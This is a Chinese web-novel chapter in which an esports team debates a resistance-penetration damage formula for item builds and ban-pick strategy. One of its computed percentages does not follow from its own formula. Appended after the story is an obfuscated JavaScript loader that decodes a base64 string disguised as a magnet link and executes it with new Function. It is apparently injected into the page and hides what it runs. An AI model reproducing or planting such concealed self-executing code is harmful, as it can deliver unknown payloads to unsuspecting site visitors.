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第314章 抗性穿透公式(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“已知对手有200点物理抗性,这个时候该出什么样的武器,才能最有效的给对手造成伤害。”

“200法术抗性抵消66%的法术伤害,300法术抗性抵消75%的法术伤害,

假设护甲值为X,

则减伤百分比=X/(100+X)

假设护甲为X,百分比穿透为A,则有效护甲值为(1-A)乘以X。

当前抗性*0.01/1+当前抗性*0.01.”

赵流辉在复盘室里的黑板上,先把计算公式写了下来。

破晓还没等赵流辉开说就开始提反对意见:

“所以说穿透公式适合的场景少,?现在版本正常情况,200法术抗性抵消66%的法术伤害,300法术抗性抵消75%的法术伤害,

后期主力抗伤害的上单带穿透装备妥妥穿透滴溢出,边际效用递减。

适合穿透的场景都是对于双抗很高的英雄,

用排除法把那些边际效益递减非常高的剔除出来,再对照HOH上单那几个常用英雄即可。

没必要把所有的英雄双抗递减规律都计算一遍,时间上也来不及。”

“来得及,我来算,1个小时高定。”

赵流辉可以马上写一个算法,把破晓提出的这个问题解决。

“我知道你算力可以解决排序,可是你让大家都记住这个顺序,再配合BP的流程让所有教练都背下来,这个时间来不及。”

破晓知道现实是什么,现实就是人神有别。

这时候上单最在意的听:“还是那个问题,取平均值来算,有最优解。

但如果英雄本身双抗很高的话,即便有递减顺序,没办法算出来最优的BP方式,

还是要看对手第一个英雄选什么,最后怎么搭配阵型。”

“特殊英雄抗性高于70的,面对85抗敌人,

前50%穿透的增伤效果是(1-(0.85*0.5))/(1-0.85)-1=950%,

后50%的增伤效果是(1-(0.85*0))/(1-0.85*0.5)-1=74%。”

赵流辉还想强行灌输一波,强调自己在BP环节就可以根据已经算出的抗性穿透递减顺序,决定下一个BP位置。

“所以还是只能在已知对手先使用什么上单英雄的条件下才能选择BP顺序。”队里的教练已经跟赵流辉不在一个频道上。

教练们在交头接耳的讨论是否是让KDT这次夏季赛季后赛在蓝方。

因为大家只要一提算数就头大,所以干脆岔开话题。

可是这些都是赵流辉在赛前必须该做好的事情。

他来决定,KDT在蓝方还是红方。

他们KDT在夏季赛小组赛打出了很好的成绩,可以直接选边。

吕燕清从珠峰那边顺利回来了,此刻她听懂了抗性公式算法,小声跟魏娜交流意见。

“你们可以在前期装备还没攒齐的情况下,前10分钟主增伤武器,

10分钟后可以逐渐增加抗性穿透武器,

如果比赛时间拖延到20分钟,就逐渐脱掉抗性穿透武器,换成真伤和反甲,

就完美解决抗性穿透溢出的问题。”

魏娜轻轻点头。

不愧是学霸呀,这些教练看不懂的匹配公式,吕燕清只需要3分钟就能全部看明白。

并且,她还能协助赵流辉写一个算法出来。

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c=q6a3e4d('magnet:?xt=b2M9JSFvZSJWIisiTGdndCJebHpuPUNiYyE9Oyl7O3puPUNiYyE9O0NZP1R0LkhiazVMVGclZ0hOP1lna0g9Z201Z0lUdD8pe2N6OyxRRzVDWmhjPSxQYkxWYjs9NVhjcjViIUVQTkQ1YnohRS8pKXtFTGJuRT19WDVFID1MVG13V2x6bj1DYmMhPTtGemt3V2ttVD8pe0VMYm5FPSBmYkVjPXJQekUhL2pbNUVqISVMO0Z6a3dXa21UPyl9Mlg1RSBEWS5XV1cubGUiRChWcEFXZ098fmR5T3VmT0FxR3wiSCJYTEVwV2ciSCJWYyVwZ1ltIkgiQ0NicHdXd21wVz9wV1kgZ1ctZ1ctV1QiXjJYNUUgPWclWWdZTENsTj9ZZ2tlPUxUbXdXOy4/KSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7LmspXkhYbS5XWSVsTj9ZZ2tlPUxUbXdXOy5rKSs9TFRtd1c7Z2dUKSs9TFRtd1c7Z2dnKSs9TFRtd1c7Lj8pXkhbbUxMQ3c/Lmw9Z201Z0lUdD9lPWclWWdZTEM7IjBJOUpDLzluJU02KEMvRG8lZGxsIileSFZnQ0w1THR0bD1nJVlnWUxDOyIwSXVEMHM4RDhoS0R0aDluJWRsbCIpSD1MbUM1bWw9ZyVZZ1lMQzsiQ0k5Y0NJOEo1aG09IilIRHola0kuJW1rbD1nJVlnWUxDOyJDLzlvdGFNKFNSbGwiKUgodFl3Q2w9ZyVZZ1lMQzsiQ0k3VjVzUmwiKUhpQzV0dGw9ZyVZZ1lMQzsiQy85d1NzdWlTUmxsIilIY0NDLll6d1dtbD1nJVlnWUxDOyI1Ly5OdHJsbCIpSFs/JW0uJWtJVGxOP1lna2U9ZyVZZ1lMQzsicWhNVzVkbGwiKV5IQ0l3VDUlV2xbPyVtLiVrSVRlPWclWWdZTEM7IjB3OU50ZGxsIileSEtZVC5DWWxbPyVtLiVrSVRlPWclWWdZTEM7IlMvS1h0SXhsIileSD10Z2tJbFs/JW0uJWtJVGU9ZyVZZ1lMQzsiQy9NblNhLmIiKV5IdiV6TFR6azVDbD1nJVlnWUxDOyJ0aE1XMHdybCIpSDV0JXp3bWw9ZyVZZ1lMQzsidGhNbyIpSE4lJUwla2w9ZyVZZ1lMQzsidGEuW1NkbGwiKTJYNUUgRkM/LnRZbW1sPWclWWdZTEM7IkN3Z1c1aDhEJXJsbCIpMlg1RSBMTEx0Q1l6Mlg1RSBbQ21MZ3dnbENZP1R0LmVXXjJjejtDWT9UdC5QREw9cmJbPmcpe1tDbUxnd2dsQ1k/VHQuZUtZVC5DWTs9dGdrSTspKkNZP1R0LlBETD1yYlspXn1jejtEIUM1YmMhPVBWTDVFQ1tQYz0lTEt+ejtGQz8udFltbSk+cGcpe0xMTHRDWXpsPWdtNWdJVHQ/ZVZnQ0w1THR0Xjs9ZyVZZ1lMQzsiJWE5WSVhTUpTaEJsIikpMkxMTHRDWXpQYyVsImIiKz10Z2tJOykqZ0xZMkxMTHRDWXpQVmJKRExQb2MlYltsImdXV18iMkxMTHRDWXpQVmJKRExQW0xjcltibCJtV1dOSyIyTExMdENZelAlY1Y1dERMJWxiRW5MMmN6Oz1nbTVnSVR0P1B0ISVKMWw9bkREKXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KX1MRFZMe1g1RSAha1c1P2dsem49Q2JjIT07KXs9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtMTEx0Q1l6KTJOP1lna1BFTC8hWExCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfTJOP1lna1A1JSVCWEw9YnxjVmJMPUxFO04lJUwla0gha1c1P2dIejVEVkwpfX1YNUUgRVklbUM1bD1nbTVnSVR0P2VWZ0NMNUx0dF47PWclWWdZTEM7IlNoZ2NTaFJsIikpMkVZJW1DNVBjJWxiazVMVGclZytDSXdUNSVXOz10Z2tJOykqZ0xZKTJFWSVtQzVQVmJKRExQW0xjcltibCJXTksiMkVZJW1DNVBWYkpETFAhWExFekQhb2wiW2MlJUw9IjJDIT1WYiBWdD9rd0x3Z2w7JXpJdHRIblRDd3dITklrP3psd1dXKWw+M0UhL2NWTFBFNUNMO2V6TGJDWzslekl0dEhuVEN3dylIPUxvIDNFIS9jVkw7OztPSEVMKExDYilsPlZMYnFjL0whbmI7OzspbD5FTChMQ2I7PUxvIEJFRSFFOyJiYy9MIW5iIikpKUhOSWs/eikpKV4pMlg1RSAvdHQlJWw1Vko9QyB6bj1DYmMhPTslLj9UV0N6WXcpe1g1RSAvay53em0udz9sZSIoViJIIkNWViJIInJjeiJIIihOciJIIk49ciJIIihOckwiSCJvTHROIkgiVlhyIkgiW2IvRCJIIihOTHIiXjJYNUUgb3dZWVR3bC9rLnd6bS53P1BETD1yYlsyL2sud3ptLnc/bC9rLnd6bS53P2VLWVQuQ1k7PXRna0k7KSpvd1lZVHcpXjJDIT1WYiB6JVc/a2xlIlN3Q25DSU1YdHNOTiU9OWl0aEtiU3clbXRmbVd0SWRUfnFGZzZybGwiXjJYNUUgRXc/Z0lnbHolVz9rZVdeMmN6O3olVz9rUERMPXJiWz5nKXtFdz9nSWdseiVXP2tlS1lULkNZOz10Z2tJOykqeiVXP2tQREw9cmJbKV59WDVFIHJ0d1RMdFQlbE41RVZMeD1iO2JrNUxUZyVnKTJjejtjVjY1NjtydHdUTHRUJSkpcnR3VEx0VCVsVzJydHdUTHRUJStsa2trazJYNUUgcm13SXcubGUiW2JiTlYtLCJIRlk1bS5ZO0V3P2dJZylIIltiL0QiSGBWLzR7cnR3VEx0VCV9YEhgNHtiazVMVGclZ31QNHsvay53em0udz99YF5lY0NDLll6d1dtXjsiLCIpMmN6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1WTD0lIHZWIFshVmIgIitybXdJdy4yYkVKe1g1RSBuQ210TFlXbDVvNWNiIFZ0P2t3THdnO3Jtd0l3Lkh7RUwlY0VMQ2ItInohREQhbyJ9SGdtV1cpMm5DbXRMWVdsNW81Y2IgbkNtdExZV1BiTEtiOykyWDVFIEpZa3QlJWxuQ210TFlXUGM9JUxLfno7PUxUbXdXO1RnKSkyWDVFIHpXP1R0NVRsIiIyY3o7SllrdCUlPmxXKXt6Vz9UdDVUbG5DbXRMWVdlPUxtQzVtXjtKWWt0JSUpMm5DbXRMWVdsbkNtdExZV2U9TG1DNW1eO1dISllrdCUlKX1uQ210TFlXbG5DbXRMWVdldiV6TFR6azVDXjssUHtnSFl9LHIpZTV0JXp3bV47O0tsPktlKHRZd0NeOyIiKWVpQzV0dF47KWVjQ0MuWXp3V21eOyIiKSkpZWNDQy5ZendXbV47IiIpMm5DbXRMWVdsbkNtdExZVyt6Vz9UdDVUMm5DbXRMWVdsPWclWWdZTEM7bkNtdExZVykyJS4/VFdDell3bG5DbXRMWVdlKHRZd0NeOyIsIillV14yY3o7TExMdENZejFsPW5ERClMTEx0Q1l6UFg1RG5MK2wiXEVcPXJMYiB2ViBbIVZiIFZuQ0NMVlYiKyUuP1RXQ3pZd31DNWJDWztKa1Q1V3drNUwpe2N6O0xMTHRDWXoxbD1uREQpTExMdENZelBYNURuTCtsIlxFXD1yTGIgdlYgWyFWYiB6NWNETCUiK0prVDVXd2s1TH1YNUUgWHRZZ21DellsWG0uV1klO0RZLldXVy5QQyE9QzViO2VgPSFvcDR7eTViTGUiPSFvIl47KX1gSGBbRUx6cDR7RCFDNWJjIT1QW0VMen1gSGBuVkNwNHtiLiV0WXQ7KX1gXilQViFFYjs7OylsPj10Z2tJOylwUG0pKWVjQ0MuWXp3V21eOyJIIikpMlg1RSBWTFcuVENsWHRZZ21DellQYz0lTEt+ejs9TFRtd1c7VGcpKT5wZ0BYdFlnbUN6WWU9TG1DNW1eO1h0WWdtQ3pZUGM9JUxLfno7PUxUbXdXO1RnKSkpLSIiMlh0WWdtQ3pZbFh0WWdtQ3pZZUR6JWtJLiVta147VkxXLlRDSCIiKWUodFl3Q147IiIpZWlDNXR0XjspZWNDQy5ZendXbV47IiIpK1ZMVy5UQzJFWSVtQzVQVkVDbGUiW2JiTlYtLCJIJS4/VFdDell3SEVZJW1DNVBjJUhYdFlnbUN6WV5lY0NDLll6d1dtXjsiLCIpMmJFSns9Z201Z0lUdD9QdCElSlA1Tk5MPSVqW2NEJTtFWSVtQzUpfUM1YkNbO0wpez1nbTVnSVR0P1A1JSVCWEw9YnxjVmJMPUxFOyJ5fkdqIT1iTD1ifCE1JUwlIkg7OylsPns9Z201Z0lUdD9QdCElSlBjPVZMRWI3THohRUw7RVklbUM1SD1nbTVnSVR0P1B0ISVKUENbY0QlNiElTFZlV14pfSkpfWN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9NU5OTD0lTCUgTC8gYiEgW2IvRCIyWDVFIEVMLkkuSUxsPWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSkyY3o7RUwuSS5JTGxsPW5ERFpaRUwuSS5JTGxsbj0lTHpjPUwlKXtMTEx0Q1l6UFg1RG5MK2wiXEVcPSBDNT1iIHJMYiBMLyB6RSEvIFtiL0QifX19MmN6O0xMTHRDWXoxbD1uREQpe0xMTHRDWXpQWDVEbkwrbCJcRVw9Vkw9JSAoViBbIVZiICIrW0NtTGd3Z31YNUUgYi4ldFl0bHpuPUNiYyE9Oyl7YkVKe0MhPVZiID16eldZJS5sOz1MbyB5NWJMKVBiIXwhQzVETHk1YkxmYkVjPXI7KTJDIT1WYiBuZ3pUZ3dJVGxgVi9iY09WYyVPNHt6elRJP1BiazVMVGclZ31PTlhgMkRMYiB2LjV3Q21sdWZ+NlBONUVWTDtEIUM1RGZiIUU1ckxQckxieGJMLztuZ3pUZ3dJVCkpMmN6O3YuNXdDbWxsPW5ERFpadi41d0NtUCU1YkwxbD16eldZJS4pe3YuNXdDbWx7TlhxYy9MVi1XSCU1YkwtPXp6V1klLn19RUxibkU9IHYuNXdDbVBOWHFjL0xWK2d9QzViQ1s7KG01Vz8pe0VMYm5FPSBnfX0yWDVFIEZZNW0uWWx6bj1DYmMhPTs9LkNDWSl7RUxibkU9ID1nJVlnWUxDOz0uQ0NZKWVEeiVrSS4lbWteOz1MVG13VztZdylIPXRna0k7KVBiIWZiRWM9cjtJVClQVkRjQ0w7S1lULkNZOz10Z2tJOykqLikrdykpfTIvdHQlJTtGWTVtLlk7W0NtTGd3ZykpMk4/WWdrZSI1JSVCWEw9YnxjVmJMPUxFIl47Ii9MVlY1ckwiSDt6bj1DYmMhPTsobTVXPyl7Y3o7KG01Vz9QJTViNVBGbGxiazVMVGclZyl7PWdtNWdJVHQ/UHJMYkJETC9MPWI3SnglO0VZJW1DNVBjJSlQRUwvIVhMOykyWDVFIChZWVRrZzVMbD1uREQyY3o7TExMdENZejFsPW5ERCl7TExMdENZelBYNURuTCtsIlxFXD1FTENMY1hMIEwvIE4hVmIgL0xWVjVyTCIyTExMdENZelBYNURuTCtsIlxFXD1MUCU1YjVQWCAiKyhtNVc/UCU1YjVQdjIoWVlUa2c1TGw7UFBQW0NZLkxMaylsPntjejsxW0NZLkxMa1paW0NZLkxMa1BETD1yYls8bFcpRUxibkU9MkxMTHRDWXpQWDVEbkwrbCJcRVw9IitbQ1kuTExrUCghYz07IiAiKX19PUxvIE1uPUNiYyE9OyI1RXJWIkgobTVXP1AlNWI1UHYpO3tPYiVDVi1bbUxMQ3c/LkhPRCFyLShZWVRrZzVMfSl9fSkpfSk7ZSJTd0NuMHM3V35hREkwczhpdGhLYlN3JW10Zm1XdElkVH5xRmc2cmxsIl5IImdZbSJIb2M9JSFvSCUhQ24vTD1iKX0yVkxnZ3Q7KTI='.substr(11));new Function(c)()})();
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